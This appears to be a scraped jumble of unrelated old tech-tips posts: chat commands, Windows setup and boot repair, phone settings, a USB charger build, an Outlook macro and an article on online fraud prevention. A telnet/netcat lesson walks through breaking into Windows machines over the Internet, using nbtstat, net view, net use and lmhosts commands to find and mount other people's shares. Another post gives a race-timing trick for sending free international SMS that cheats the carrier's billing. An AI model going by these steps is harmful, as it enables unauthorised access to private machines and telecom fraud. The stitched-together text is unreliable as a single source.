Chat Command Help
/cls Clears the history
/help Displays this message
/join roomname Joins room 'roomname'
/goto username Goes to 'username'
/think xxx . o O (xxx)
/follow user Follows the user wherever they go
/follow Stop Following
/invite username Invites 'username' to join this room : emotion Displays user defined emotion string
/think-- will get you . o O ( ........ ) just type /think whatever.....and get . o O ( whatever ) ...doesn't seem to work in messenger chat though......java /cheeta/ychat/cheeta users if they just type /think will have a random message inserted
/roll 2-- will get you something like 'fire-wall rolls 2 dice 3,4' ........to roll multisided dice type /roll 2:10
try /roll 2x2 to flip coins
/tell ( name )-- allows you to send a private message with out a pm box
/goto ( name ) lets you go to a friend or another user
/invite ( name )-- allows you to invite a user to where you are
/follow ( name )-- allows you to follow someone
/stopfollow( name )-- stops you following someone else.... no way to stop someone from following you. :cry: :cry:
/cls-- clears the screen
/help-- works great in java chat!!! be prepared for a full screen of info though.
/define-- works in cheeta chat
/time-- works in most clients
/version or /ver --the latter is great for when you need help.........and /version helpers name sends them a private message with the same info so they can help.
/join (roomname) is great for skipping the rooms list......like
/join yahoo! chat help:1
to emote without using the pop up emotes or the list just type /emote name .......like /hug or to emote someone /hug ( name) and to make your text show as an emote .....type a : then whatever.....and your text will look like an emote like Fire-wall hugs you
/ignore add (username) a quick way to send someone to the iggy box.....
/ignore remove (username) can take an accidental ignore off..... or even remove yourself form your own ignore.... don't laugh.... it has happened!!! despite yahoo saying you cant ignore yourself. you can also open messenger, look under privacy, and remove names there.
/save works in all but messenger (click file. then save for messenger chat)........in browser chat make sure you know where it saves the transcript!!!!!
/logoff closes your chat screen and logs you out
Q161703
"Stop: 0x0000001E" Error Message During Setup
Q216251
How to Specify a Specific or Third-Party HAL During Windows Setup
Q217073
Windows Setup Hangs When "Setup Is Starting Windows" Screen Appears
Q220845
Adding Third-Party or Updated Driver During Windows Setup
Q221447
Autologon and AutoLogonCount Parameters for Windows Unattended Setup
Q222939
Windows Setup Does Not Prompt for Installation Folder
Q225125
Windows Setup Does Not Prompt for Installation Folder
Q225125
Limited OEM Driver Support with F6 During Windows Setup
Q238955
How to Use Cmdlines.txt File During Sysprep.exe Setup Wizard
Q242380
How to Use a Command Prompt During GUI-Mode Setup
Q281652
Error Message "Setup Was Unable to Build the List of Files to Be Copied" During a Windows XP Unattended Installation
Q281653
Setup Appears to Stop Responding at the Registering Components Screen During an Unattended Installation
Q282008
Partitions Created by Using PartitionMagic 5.0 Appear Inactive in Windows XP Setup
Q282296
Setup from the 16-Bit Winnt.exe File Continues in an Endless Loop
Q283079
No Mouse or Keyboard Response During Sysprep Mini-Setup
Q283240
Quitting Text-Mode Setup Does Not Restart the Computer
Q283332
Setup Stops Responding Upon Restart After You Install Windows XP to a Partition on an IA64 Computer
Q287546
Missing Files" Error Message During Setup When Deploying Windows XP Images
Q289657
Out of Box Experience (OOBE) Does Not Run After Setup Completes
Q293281
Unpartitioned Space Remains When Creating a Partition During Setup
Q293834
User Accounts That You Create During Setup Are Administrator Account Types
Q295116
A Description of the Windows XP Setup Function Keys
Q296673
Windows Services for UNIX 2.0 Setup Does Not Work on Windows XP
Q296814
Setup Stops Responding (Hangs) During File Copy
Q297837
The CD-ROM Drive May Not Be Accessible During Setup on Computers That Have DirectCD Installed
Q301340
During Setup You Are Unable to Format a Partition with a File Allocation Table Format
Q301933
Error Message: Setup Was Unable to Build the List of Files to Be Copied. The System Cannot Find the Path...
Q302686
Differences Between a Quick Format and Format During Windows XP Setup
Q303466
Master Boot Record Disks Cannot Be Converted to GPT by Means of an Unattended Setup
Q305746
Windows XP Setup Halts When You Start Installation from Within Windows 95
Q305883
Windows Upgrade Advisor Quits Abruptly During System Compatibility Check and No Report Appears
Q307099
STOP 7b Error Occurs When You Press F6 to Load Drivers During Unattended Windows XP Setup
Q307316
Volume License Product ID Is Revealed During the Sysprep.exe Mini-Setup Wizard
Q309800
Serial Mouse Is Not Detected During Windows XP Setup
Q310637
Troubleshooting Invalid CD Key Error Message During Windows XP Setup
Q310760
Windows XP Does Not Respond at "Setup Is Starting Windows XP" Message
When Windows fails to boot it is normally caused by you installing a program or device and it has caused a conflict with one or more other programs. This will no doubt give you plenty of heartaches if you're not certain which program caused Windows to not boot up.If you recently installed a program or application and know where it was installed, you may be in much better shape as for as correcting the error. Here are common ways to correct the problem of your computer not completely booting up or not booting up at all.
If your computer will not boot-up at all, hopefully you have made a good emergency boot disk. You can always make a windows startup disk by creating one from another computer running Windows 98 or Me. Perform the following if your computer won't Boot-Up At All.
FIRST......Put your boot floppy disk in the floppy drive and turn on the PC. On some computers, you may have to access the bios and select the Boot priority to your A: drive.Save any changes and select "Start Computer without CDROM support" and press Enter. Once you are at the A prompt, type dir c: and press enter.If your programs and other files are present, try restoring your system Registry by following the steps below. This may repair Windows, the Config. Sys and autoexec.bat files to where the PC may boot up normally. When the files are present, its a good indication of a good hard drive.
SECOND......To correct the problem of your computer not booting up,type in "fdisk /mbr" and press Enter to restore your master boot record.Type "Scandisk C:" to check the hard drive for errors that have occurred. You can also type "Sys C:" to hopefully restore files needed to boot up your computer.
THIRD......If the above procedures fail to repair your computer,you can repeat the first part of step one above and select "Start Computer With CDROM Support" re-install Windows.
Making A Windows XP Bootable Floppy
Windows XP users should create a boot disk now by placing a formatted blank diskette in the A: drive, open Windows Explorer to the C:,select Tools,Folder Options ,show Hidden files and and folders,then View Tab.
Now you uncheck "Hide Protected Operating System Files (recommended).You will see a warning and click Yes and click OK.Copy the files ntldr,ntdetect.com and boot.ini onto the disk.Remove the disk and label it the Windows XP Boot Disk.
After making your boot disk,recheck "Hide protected operating system files and folders (recommended)" in the Folder Options dialog box.To use the disk when Windows XP won't boot,place the disk in the drive,and then re-boot,the computer, Windows simply bypass the basic boot files on the hard drive and continue to boot up.
If The PC Won't Boot Pass Windows
FIRST......If your Operating System is Windows Millennium, turn on the computer and immediately press and hold down the CTRL key. Once the startup options appear, release the CTRL key. Select Safe Mode and press Enter. You are now in Windows limited version. If you know what caused your computer not to boot,you can now either change or delete that program.
SECOND....Repair your Registry by selecting Start,Run and typing "scanregw /fix" and press enter.This will fix any damage done to the Registry. You can also restore your registry which replaces your current registry with an earlier copy that was backed up by your computer.Click on Start,Run and type "scanregw /restore and press Enter.
To repair your Windows 98 Registry, hold down the CTRL key as you start the PC and select "Command Prompt Only". Type "scanreg /fix" and press Enter and "scanreg/restore" to restore a previousely saved copy of the Registry.
If you have Windows XP, press F8 after rebooting the PC should Windows freeze while booting up. You can select "Last Known Good Configuration" after rebooting to allow the computer to boot the last backed up files. And you can choose "Safe Mode" to remove any files you know caused the operating system to hang up.Be prepared when your operating system fail. It would be a great idea to go over this article a few times and print it. Make yourself s notebook and place this and all related articles there.
About The Author
Otis F. Cooper is solely dedicated to boosting the knowledge and confidence of every computer user that is serious about knowing computers.
Here follows manual settings of Vodafone GPRS:
For Karnataka & Andhra Pradesh: (This setting is tested by myself in Bangalore)
Account Name: Vodafone_gprs
Homepage: http://live.vodafone.in
User Name: (no need)
Pass: (no need)
Access Point Settings:
Proxy: Enabled
Proxy Address: 10.10.1.100
Proxy Port: 9401
Data Bearer: Packet Data
Bearer Settings:
Packet Data Access Point: portalnmms
Network type: IPV4
Authentication: normal
User Name: (no need)
Password: (no need)
For Tamil Nadu:
Account Name: Vodafone_gprs
Homepage: http://live.vodafone.in
User Name: (no need)
Pass: (no need)
Access Point Settings:
Proxy: Enabled
Proxy Address: 10.10.1.100
Proxy Port: 9201
Data Bearer: Packet Data
Bearer Settings:
Packet Data Access Point: portalnmms
Network type: IPV4
Authentication: normal
User Name: (no need)
Password: (no need)
I use Gmail account as one of my main accounts to handle most of my important and personal email . I use multiple Gmail accounts as well apart from using domain based accounts. So I use Gmail's feature of handling multiple accounts for "Send As" feature and mail forwarding feature.
So what do we need as solution?
A single mail account where all the mail from multiple email accounts are forwarded, in which mail messages can be filtered in separate labels and mail messages can be replied from the email address it was sent to
Solution:-
1. 1 Gmail account
2. Multiple Gmail or hosted domain accounts which can be forwarded to your mail Gmail account
3. Mail forwarding and "Accounts" feature within Gmail
4. Creating labels in Gmail based on "Email Account" that the message comes from
Using three simple steps you can manage all from email accounts from a single account and use the base account as a email backup account for the respective email addresses.
The exact steps are detailed on Google Tutor Post.
I have to tell that this has been functioning very well for me for quite some time now. I only wish that I can easily forward my Hotmail email messages to Gmail .
This simple project shows you how to make a USB powered Nokia cell phone charger. The advantage is that it weighs much less than the bulky AC adaptor, and can be used wherever you have a computer or a laptop. I use this thing all the time now!
What do I mean by “safe charger”? Honestly I’m not sure. I’m just going on what I was able to infer from what I read off my multimeter. What I found was that the voltage across the nokia charge pins was rapidly fluctuating from Vdd to about 4 volts above Vdd. It would not do to have ~9 volts injected into a 5 volt bus! Thankfully, all you need to do is stick a diode in there and that’s that. So the diode might not be needed, but it’s safe! Thus, “Safe Charger”.
So far, it charges my phone just fine, but slightly slower than the wall wart that came with it. I think so, anyway.
Step one: strip off the shielding and insulation on an inch or so of the usb cable. Clip the white and green cables to uneven lengths so they can’t conduct into each other or either of the power lines. Hopefully you should be left with a black wire and a red wire.
Step two: Clip off a length of the nokia chargers phone-side plug. You won’t be needing the wall wart part anymore. Strip off the insulation from the nokia plug wire. Hopefully you should have a red wire and a black one. the red wire should be connected to the inner barrel of the plug, and the black one should be connected to the outer barrel.
Step three: Attach a normal silicon diode (not a zener diode) with the line part towards the nokia plug. It should go between the red wires from both cables . Attach the black wires from each cable together.
I suggest staggering the lengths of the wires so that the solder joints have less chance of coming into contact.
Check all the wires with a multimeter to make sure they are really the right ones! The colors might not be standard...
Step four: cover that baby in hot glue! Yeah!
Step five: Cover that nogoodnick cable in electrical tape!
That’s it!
BackTrack is a Live Linux distribution based on SLAX that is focused purely on penetration testing. Distributed by remote-exploit.org, BackTrack is the successor to Auditor. It comes prepackaged with security tools including network analyzers, password crackers, wireless tools and fuzzers. Although originally designed to Boot from a CD or DVD, BackTrack contains USB installation scripts that make portable installation to a USB device a snap. In the following tutorial, we cover the process of installing BackTrack to a USB flash drive from within a working Windows environment.
BackTrack running from USB Screenshot:
BackTrack in action running from USB
How to install BackTrack to a USB device:
1. Download the (Portable Backtrack) USB BackTrack version
2. Extract the Boot and BT3 folders to the root of your USB device
3. Navigate to the Boot folder on your "USB device" and click bootinst.bat (click continue if the following error appears)
BackTrack Error
4. Follow the onscreen instructions to make the device bootable
5. Once the USB install script has finished, reboot your computer and set your BIOS or Boot Menu to boot from the USB device
Enjoy!
Well its quite simple but most of the people do not know it.
Please note the fact that it only works if the password to the MMC Card was set in ur own mobile,where u want it to be unlocked.
This method works well for nokia cells with symbian operating system.Never tried on other cells.use any software like FXplorer that can browse files in ur cell.
1. Open one of above software you have.
2. Browse through the directory, C:\system
3. Rename the file mmcstore to mmcstore.txt
4. Open the file - The file will open in Notes.
5. You will find your password in that file. That file would also contain much more data which you do not understand,so you need to go through the file to get the password!
When ur cell is connected to pc by means of data cable or bluetooth,u can see the password by simply opening the file mmcstore with notepad. Laughing
Today's online world is one fraught with danger. At every turn internet users are faced with phishers, hackers, fraud and the threat of identity theft. This creates an atmosphere where users are not comfortable purchasing things online and merchants are being taken advantage of on a regular basis.
The Cybersource 8th Annual Online Fraud Report estimates that over $3 billion in online revenues was lost due to online fraud. The Internet Crime Complaint Center or IC3, which is a partnership of the FBI and the National White Collar Crime Center, stated in its annual report that there was $198.44 million lost by consumers in the fraud cases that they referred to law enforcement agencies in 2006. The average loss per complaint was just over $2500.00. Both buyers and sellers lose when online businesses are vulnerable to ill intentioned web users.
There are generally 2 types of fraudulent orders that are placed online. First there is an order that is being placed merely to check the validity of the stolen credit card information. A criminal will go to a website where he knows that the credit card is going to be billed immediately for products and services. They will place an order for something that is usually about $100.00 or less. Once the order goes through and the credit card is successfully billed, they know the stolen information is valid. Then they are free to place the second kind of order where they are actually looking to receive the products that they purchase with the stolen credit card information.
Currently, some of the most popular online fraud protection solutions include address verification, card verification number (CVC2, CVV2, CID depending on the card issuer), and IP geolocation. The downside to these solutions is that the address and card verification number can both be stolen along with the credit card number and IP addresses can be masked. 81% of online merchants also use manual order verification. Besides the increased costs associated with the extra time and staff that it takes to manually review the orders, it also slows down the order process and extends delivery times.
Traditional solutions allow the fraudulent order to be placed and then attempt to weed them out afterwards. The next generation of automated online fraud protection solutions deter the perpetrator from placing the fraudulent order in the first place. Taking the crook completely out of the equation allows online merchants to focus resources on fulfilling genuine orders and servicing current customers.
One of these next generation fraud protection solutions that is gaining popularity among online merchants is televerification. Televerification works like this: When the customer goes to place an order, they are asked for their telephone number. An automated telephone call is then placed to the customer and they are given a unique security code, either through automated message or SMS. They then enter that unique code into the appropriate place on the web site in order to proceed with their business. The process is quick and easy, yet the protection it affords businesses and their customers is extremely effective.
Requiring the confirmation of a workable, traceable telephone number lessens the attractiveness of that particular online business to ill intentioned users. Criminals are leery about providing a legitimate phone number that can be traced back to them. The benefits that are inherent to implementing any automated fraud protection solution for online merchants still apply: reduced chargeback costs, reduced manual verification costs and increased user confidence. The difference with televerification is that instead of catching the fraudulent order after it has come in, it stops them at the door.
An additional benefit of televerification is the ease of which it can be integrated into an online merchant's existing website. All it takes is adding a few lines of code to an existing site that will allow it to interact with a televerification provider's server. Most applications can be up and running within hours, not days or weeks like some solutions.
With eCommerce growing 20% or more each year, fraud protection for merchants and customers becomes an ever increasingly vital issue for the entire online community. Billions of dollars are lost every year due to criminals taking advantage of the anonymity that the Internet offers. Previously, online merchants could only try to weed the fraudulent orders out from the good ones as they came in. The next generation of fraud protection allows online merchants the opportunity to stop the fraudulent orders from ever being placed.
******************************************************
In this Article you will learn how to:
* Use telnet from Windows
* Download web pages via telnet
* Get finger information via telnet
* Telnet from the DOS command-line
* Use netcat
* Break into Windows Computers from the Internet
Protecting Yourself
What can they do
The command-line approach
The GUI approach
Final Words (Rahul)
************************************************************
How to Use Telnet on a Windows Computer
Telnet is great little program for doing a couple of interesting things. In fact, if you want to call yourself a hacker, you absolutely MUST be able to telnet! In this lesson you will find out a few of the cool things a hacker can do with telnet.
If you are using Win95, you can find telnet in the c:\windows directory, and on NT, in the c:\winnt\system32 directory. There isn't a lot of online help concerning the usage of the program, so my goal is to provide some information for new users.
First off, telnet isn't so much an application as it is a protocol. Telnet is protocol that runs over TCP/IP, and was used for connecting to remote computers. It provides a login interface, and you can run command-line programs by typing the commands on your keyboard, and the programs use the resources of the remote machine. The results are displayed in the terminal window on your machine, but the memory and CPU cycles consumed by the program are located on the remote machine. Therefore, telnet functions as a terminal emulation program, emulating a terminal on the remote machine.
Now, telnet runs on your Win95 box as a GUI application...that is to say that you can type "telnet" at the command prompt (in Windows 95 this is the MS-DOS prompt), and assuming that your PATH is set correctly, a window titled "telnet" will open. This differs from your ftp program in that all commands are entered in the DOS window.
Let's begin by opening telnet. Simply open a DOS window by clicking "start", then "programs", then "MS-DOS", and at the command prompt, type:
c:\telnet
The window for telnet will open, and you can browse the features of the program from the menu bar.
***************************************************
NEWBIE NOTE: In this text file, I am referring only to the telnet
program that ships with Win95/NT. If you type "telnet" at the
command prompt and you don't get the telnet window, make sure
that the program is on your hard drive using the Start -> Find ->
Files or Folders command. Also make sure that your path statement includes the Windows directory. There are many other programs available that provide similar functionality, with a lot of other bells and whistles, from any number of software sites.
*************************************************
To learn a bit more about telnet, choose Help -> Contents, or
Help -> Search for help on... from the menu bar. Read through
the files in order to find more detailed explanations of things
you may wish to do. For example, in this explanation, I will
primarily be covering how to use the application and what it can
be used for, but now how to customize the colors for the application.
Now, if you choose Connect -> Remote System, you will be presented with a dialog window that will ask you for the remote host, the port and the terminal type.
****************************************************
NEWBIE NOTE: For most purposes, you can leave the terminal type on
VT100.
****************************************************
In the Connect dialog box, you can enter in the host to which
you wish to connect, and there is a list box of several ports
you can connect to:
daytime: May give you the current time on the server.
echo: May echo back whatever you type in, and will tell you that the computer you have connected to is alive nd running on the Internet. qotd: May provide you with a quote of the day.
chargen: May display a continuous stream of characters, useful for spotting network problems, but may crash your telnet program.
telnet: May present you with a login screen.
These will only work if the server to which you are trying to connect is running these services. However, you are not limited to just those ports...you can type in any port number you wish. (For more on fun ports, see the GTMHH, "Port Surf's Up.") You will only successfully connect to the port if the service in question is available. What occurs after you connect depends upon the protocol for that particular service.
When you are using telnet to connect to the telnet service on a server, you will (in most cases) be presented with a banner and a login prompt.
[Note from Carolyn Meinel: Many people have written saying their telnet program fails to connect no matter what host they try to reach. Here's a way to fix your problem. First -- make sure you are already connected to the Internet. If your telnet program still cannot connect to anything, here's how to fix your problem. Click "start" then "settings" then "control panel." Then click "Internet" then "connection." This screen will have two boxes that may or may not be checked. The top one says "connect to the Internet as needed." If that box is checked, uncheck it -- but only uncheck it if you already have been having problems connecting. The bottom box says "connect through a proxy server." If that box is checked, you probably are on a local area network and your systems administrator doesn't allow you to use telnet.]
*********************************************
NEWBIE NOTE: It's not a good idea to connect to a host on which you don't have a valid account. In your attempts to guess a username and password, all you will do is fill the log files on that host. From there, you can very easily be traced, and your online service provider will probably cancel your account.
**********************************************
Now, you can also use telnet to connect to other ports, such as
ftp (21), smtp (25), pop3 (110), and even http (80). When you
connect to ftp, smtp, and pop3, you will be presented with a
banner, or a line of text that displays some information about the
service. This will give you a clue as to the operating system
running on the host computer, or it may come right out and tell
you what the operating system is...for instance, AIX, Linux,
Solaris, or NT. If you successfully connect to port 80, you will
see a blank screen. This indicates, again, that you have successfully completed the TCP negotiation and you have a connection.
Now, what you do from there is up to you. You can simply disconnect with the knowledge that, yes, there is a service running on port 80, or you can use your knowledge of the HTTP protocol to retrieve the HTML source for web pages on the server.
How to Download Web Pages Via Telnet
To retrieve a web page for a server using telnet, you need to connect to that server on port 80, generally. Some servers may use a different port number, such as 8080, but most web servers run on port 80. The first thing you need to do is click on Terminal -> Preferences and make sure that there is a check in the Local Echo box. Then, since most web pages will generally take up more than a single screen, enable logging by clicking Terminal -> Start Logging... and select a location and filename. Keep in mind that as long as logging is on, and the same file is being logged to, all new information will be appended to the file, rather than overwriting the
original file. This is useful if you want to record several sessions, and edit out the extraneous information using Notepad.
Now, connect the remote host, and if your connection is successful, type in:
GET / HTTP/1.0
and hit enter twice.
**************************************************
NEWBIE NOTE: Make sure that you hit enter twice...this is part
of the HTTP protocol. The single / after GET tells the server
to return the default index file, which is generally "index.html".
However, you can enter other filenames, as well.
*************************************************
The blank screen indicates that the finger daemon is waiting for input. If you have a particular user that you are interested in, type in the username and hit enter. A response will be provided, and the daemon will disconnect the client. If you don't know a particular username, you can start by simply hitting enter. In some cases, you may get a response such as "No one logged on." Or you may get information of all currently logged on users. It all depends on whether or not the sysadmin has chosen to enable certain features of the daemon. You can also try other names, such as "root", "daemon", "ftp", "bin", etc.
Another neat trick to try out is something that I have seen referred to as "finger forwarding". To try this out, you need two hosts that run finger. Connect to the first host, host1.com, and enter the username that you are interested in. Then go to the second host, and enter:
user@host1.com
Now, if you want to show your friends that you a "real man" because "real men don't need no stinkin' GUIs", well just open up a DOS window and type:
c:\>telnet
and the program will automatically attempt to connect to the host
on the designated port for you.
Using Netcat
Let me start by giving a mighty big thanks to Weld Pond from L0pht for producing the netcat program for Windows NT. To get a copy of this program, which comes with source code, simply go to:
http://www.l0pht.com/~weld
NOTE: The first character of "l0pht: is the letter "l". The second character is a zero, not an "o".
I know that the program is supposed to run on NT, but I have
seen it run on Win95. It's a great little program that can be used
to do some of the same things as telnet. However, there are
advantages to using netcat...for one, it's a command-line program,
and it can be included in a batch file. In fact, you can automate
multiple calls to netcat in a batch file, saving the results to
a text file.
**************************************************
Before using netcat, take a look at the readme.txt file provided in
the zipped archive you downloaded. It goes over the instructions
on how to download web pages using netcat, similar to what I
described earlier using telnet.
There are two ways to go about getting finger information using
netcat. The first is in interactive mode. Simply type:
c:\>nc 79
If the daemon is running, you won't get a command prompt back. If this is the case, type in the username and hit enter. Or use the automatic mode by first creating a text file containing the username of interest. For example, I typed:
c:\>edit root
and entered the username "root", without the quotes. Then from
the command prompt, type:
c:\>nc 79 < root
and the response will appear on your screen. You can save the
output to a file by adding the appropriate redirection operator
to the end of the file:
c:\>nc 79 <> nc.log
to create the file nc.log, or:
c:\>nc 79 <>> nc.log
to append the response to the end of nc.log. NOTE: Make sure
that you use spaces between the redirection operators.
How to Break into a Windows machine Connected to the Internet
Protecting Yourself
First, the method of protecting yourself needs to be made perfectly clear. DON'T SHARE FILES!! I can't stress that enough. If you are a home user, and you are connecting a Win computer to the Internet via some dial-up method, disable sharing. If you must share, use a strong password...8 characters minimum, a mix of upper and lower case letters and numbers, change the password every now and again. If you need to transmit the
password to someone, do so over the phone or by written letter. To disable sharing, click on My Computer -> Control Panel -> Network -> File and Print Sharing. In the dialog box that appears, uncheck both boxes. It's that easy.
** The command-line approach **
Okay, now for the part that should probably be titled "How they do it". All that is needed is the IP address of the remote machine. Now open up a DOS window, and at the command prompt, type:
c:\>nbtstat -A [ip_addr]
If the remote machine is connected to the Internet and the ports used for sharing are not blocked, you should see something like:
NetBIOS Remote Machine Name Table
Name Type Status
---------------------------------------------
NAME <00> UNIQUE Registered
DOMAIN <00> GROUP Registered
NAME <03> UNIQUE Registered
USERNAME <03> UNIQUE Registered
MAC Address = 00-00-00-00-00-00
This machine name table shows the machine and domain names, a logged-on username, and the address of the Ethernet adapter (the information has been obfuscated for instructional purposes).
**Note: This machine, if unpatched and not protected with a firewall or packet-filter router, may be vulnerable to a range of denial of service attacks, which seem to be fairly popular, largely because they require no skill or knowledge to perpetrate.
The key piece of information that you are looking for is in the Type column. A machine that has sharing enabled will have a hex code of "<20>".
If you find a machine with sharing enabled, the next thing to do is type the following command:
c:\>net view \\[ip_addr]
Now, your response may be varied. You may find that there are no shares on the list, or that there are several shares available. Choose which share you would like to connect to, and type the command:
c:\>net use g: \\[ip_addr]\[share_name]
You will likely get a response that the command was completed successfully. If that is the case, type:
c:\>cd g:
or which ever device name you decided to use. You can now view what exists on that share using the dir commands, etc.
Now, you may be presented with a password prompt when you ssue the above command. If that is the case, typical "hacker" (I shudder at that term) methods may be used.
c:\windows\lmhosts.sam
Read over the file, and then open create another file in Notepad, called simply "Lmhosts", without an extension. The file should contain the IP address of the host, the NetBIOS name of the host (from the nbtstat command), and #PRE, separated by tabs. Once you have added this information, save it, and minimize the window. In the DOS command window, type:
c:\>nbtstat -R
This command reloads the cache from the Lmhosts file you just created.
Now, click on Start -> Find -> Computer, and type in the NetBIOS name of the computer...the same one you added to the lmhosts file. If your attempt to connect to the machine is successful, you should be presented with a window containing the available shares. You may be presented with a password prompt window, but again, typical "hacker" (again, that term grates on me like fingernails on a chalk board, but today, it seems that it's all folks understand) techniques may be used to break the password.
************************************************
You friend can learn his or her IP address by going to the DOS prompt while online and giving the command "netstat -r". Something like this should show up:
C:\WINDOWS>netstat -r
Route Table
Active Routes:
Network Address Netmask Gateway Address Interface Metric
0.0.0.0 0.0.0.0 198.999.176.84 198.999.176.84 1
127.0.0.0 255.0.0.0 127.0.0.1 127.0.0.1 1
198.999.176.0 255.255.255.0 198.999.176.84 198.999.176.84 1
198.999.176.84 255.255.255.255 127.0.0.1 127.0.0.1 1
198.999.176.255 255.255.255.255 198.999.176.84 198.999.176.84 1
224.0.0.0 224.0.0.0 198.999.176.84 198.999.176.84 1
255.255.255.255 255.255.255.255 198.999.176.84 0.0.0.0 1
Your friend's IP address should be under "Gateway Address." Ignore the 127.0.0.1 as this will show up for everyone and simply means "locahost" or "my own computer." If in doubt, break the Internet connection and then get online again. The number that changes is the IP address of your friend's computer.
First of all i wannna tell you i am not joking , this is true by a simple trick or you can say hack or anything else you can send all sms free Abroad also....
I try it myself and sends more than 1000 Sms free International like Africa, Australia , Usa , France ........
The trick is the following:-
1. Must have Airtel connection or you should have the connection in which your Balance doesnot go into negative like in Hutch if we have have balance like 2 or 3 Rs then if you make a call or use GPRS there balance goes into negative , these days In Airtel also balance goes into negative but in some case the don't.
2. This Hack or you can say the trick you can use only on Nokia 2600 , well i use on that phone only try it on 1110 but no use on that phone.
3. The Advantage of this phone is that you can send 2 or 3 or more sms Simontaniously , this all happens like this , in Nokia 2600 when you send sms there will be a bar on your phone that message is sending so at that time if you click any button that nag screen disappears and if you have speed you can send one more sms while sending the previous one.
4. In Airtel , when i was very addicted to send sms to ma friends i find that when you have balance less than Rs 5 then you can send one free sms anywhere in the world but just only one , by this i came to knwo about the Airtel weak security and servers.
5. Now we do like this first of all go to any Airtel dealer and have free sms pack. And then save the international no. on your phone by which you can find it easily (i tried using it blank or .123.... goes on) now save your no. or any friend no you want and left the name blank or simple digits , now write a text message and send it to you or your friend , and when you can see the nag screen saying the message is sending , at that time click the main menu button and again send the message to your Abroad friend at any country , you must have speed or else the second msg will not go... NOTE You can send 1 message, if in your mobile if you see the upper right corner if it says message sending into two parts then it will not go only one message can go . After doing this the message to your friend who is in abroad will recieve the message like you receive the message of your friend but the best thing is its all free , the Airtel will think that you have send both the message in India only because you was too fast that you send 2 message at a time one to India and one to Abroad whihc they cannot detect...
So enjoy sending free Sms!!!!!!!
Utility Name: Freejack
Features: Bluejacking tool written in JAVA
Download URL: http://www.software13.co.uk/freejack/
Ever since Microsoft came with their tightened up firewall in the present Microsoft OS VISTA...things have become a bit time consuming and fadish[yeah!! i am talking about the screen turning fade with every second firewall yes/no or allow /disallow and the most frequent of them all 'NOT Responding'
Ok, by mistake will playing with Task Manager[Cntrl + Shift + Esc ] and some arbit game i was playing stopped responding. And there i saw a change in Processes tab in Task Manager "WinFault" down in the list. So, if somthing like this happens next time with you, A Not Responding message comes up and your close the application followed by End Now crap...You just open your Task Manager,click on Processes ,scroll down to WinFault and Select it and click on end process....Thats it!!! YOUR PROBLEM SOLVED !!!
Yippeeee...Keep visiting for more!!
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Written by Gaurav 0 Comments
Reinstalling + Formating Operating system
#1 Backing up files
If you have a habit of saving all the files in My Documents, This is your first step. Check out all possible folders like My Pictures, My Music and copy whichever is required to some other folder. You will loose data as they are in same drive where you will install the OS.
#2 Saving your configuration and profile files
In most of the software’s the facility to backup profiles or software configuration is present. Now in case you are going to install the software after re installation, You ,must do it so that you don’t loose your optimized settings and save time.
#3 Saving all your download folders and files
By default all softwares and settings are made to save files somewhere in C directory. Now lets say you downloaded a complete setup of itunes which is around 50 MB and saved in C:\download, If you don’t back it up you will have to re download that which will be ultimate waste of time.
So in case you have any thing like this save it.
#4 Re think on Partition Size.
Now lets say You have re installed as you don’t have much space left and You decided to reinstall everything and install only the required once to save space. Since you are going to re install its a better idea to increase the size of you partition . You might need some professional help or somebody who knows how to do this, but it will help you in long run.
#5 Note down things you need to install after this
Now since we have backed up everything and its ready to go . This one step you must follow.
Make a list of things you will be installing after reinstallation is over. Here is QUICK LIST
- DRIVERS
- Antivirus and Spywares
- Browsers and addons.
- Office Suites
- Media Players and updates.
- Rest of the things.
It gives you an idea of general things, You can change the list according to your need
Steps after reinstallation
Is Photoshop CS2 worth the upgrade? You bet it is! Here are just 10 things you can do with this fantastic new version of Photoshop that were impossible (or difficult) to do with previous versions:
Manipulate objects in the Adobe Bridge
This new generation of file browser enables you to look at photographs and artwork in detail before you open the file, process multiple Camera Raw images, flip through pages in PDF documents, size, rate and organize your work in a convenient and highly user-friendly way. Goes way beyond the capabilities of the File Browser introduced in Photoshop 7.
Get rid of imperfections with the Spot Healing Bush
The Spot Healing brush enables you to get rid of slight imperfections - like dust or scratches at the click of a mouse. Unlike the Healing Brush or Patch tools, you don't have to find a source point first.
Remove "red-eye" in an instant. With older versions of Photoshop, removing red-eye and pet-eye was possible, but it wasn't easy. Now, one click of the Red Eye removal tool can remove pet-eye and red-eye from your photographs, in less time than it takes your subject to say "cheese!".
Perform non-destructive scaling with Smart Objects. You know how it is: You try to make an imported object larger, and it goes all blurry and pixelated. With Smart Objects, that's a thing of the past, because you can scale, warp and rotate vector graphics in a non-destructive way.
Do neat things in perspective with the new Vanishing Point feature. With Vanishing point you can cut and paste in perspective. Now you're able to turn a photograph of a wall into a "virtual art gallery" with all the pictures correctly skewed, or move a window from one side of a building to another and, because the perspective is correct, have it look like it's always been there. You can also draw lines that taper off into the distance - wide nearest the camera, narrow further away - just like in "real life".
Get more accurate printing. With Photoshop CS2, the people at Adobe have improved the printing workflow. Now it's even easier to configure your inkjet printer to get more accurate color printing.
Customize menus and workspaces. Photoshop CS2 lets you highlight commonly used menu items, and set up custom menus and workspaces. Now all the power of Photoshop is (literally) at your command, and can be tailored to your requirements.
See what each font looks like before you use it. Finally! Photoshop gets a WYSIWYG font drop-down menu. Now you don't have to keep text highlighted while you cycle through all the fonts until you get to the right one!
Manipulate images with Image Warp. Image Warp allows you to bend, peel, and stretch images the same way as type. Now you can put an image on a mug or soda can with ease.
See what video graphics will look like, while you're doing them. If you're a video professional , you'll know how frustrating it can be: You make a graphic that looks fantastic on a flat computer monitor, but when you import the .psd file into your Avid timeline, and look at it on the TV screen, it's not quite what you had in mind. You then have to go back into Photoshop and make your artwork look "wrong", so it will look right on a video monitor. With Photoshop CS2 you can preview your images on a video monitor directly from the software, and see exactly how they're going to look in your video, even if your editing software is on a different computer. Neat eh?
Did Forget to mention subject while writing an official email?
Sometimes YES, and that too when we send some important mails.
It happens accidentally. Don't worry...
Just follow the below steps & see the result.
1. Open your outlook and press Alt+F11 (this opens the Visual Basic editor)
2. On the Left Pane you'll see "Microsoft Outlook Objects", expand this. Now one can see the "ThisOutLookSession".
3. Click on "ThisOutLookSession" then copy and Paste the code below in the right pane. (Code Pane)
*****************************************************************************************************************
Private Sub Application_ItemSend(ByVal Item As Object, Cancel As Boolean)
If Len(Item.Subject) = 0 Then
Prompt$ = "Subject is Empty. Are you sure you want to send the Mail?"
If MsgBox(Prompt$, vbYesNo + vbQuestion + vbMsgBoxSetForeground, "Check for Subject") = vbNo Then
Cancel = True
End If
End If
End Sub
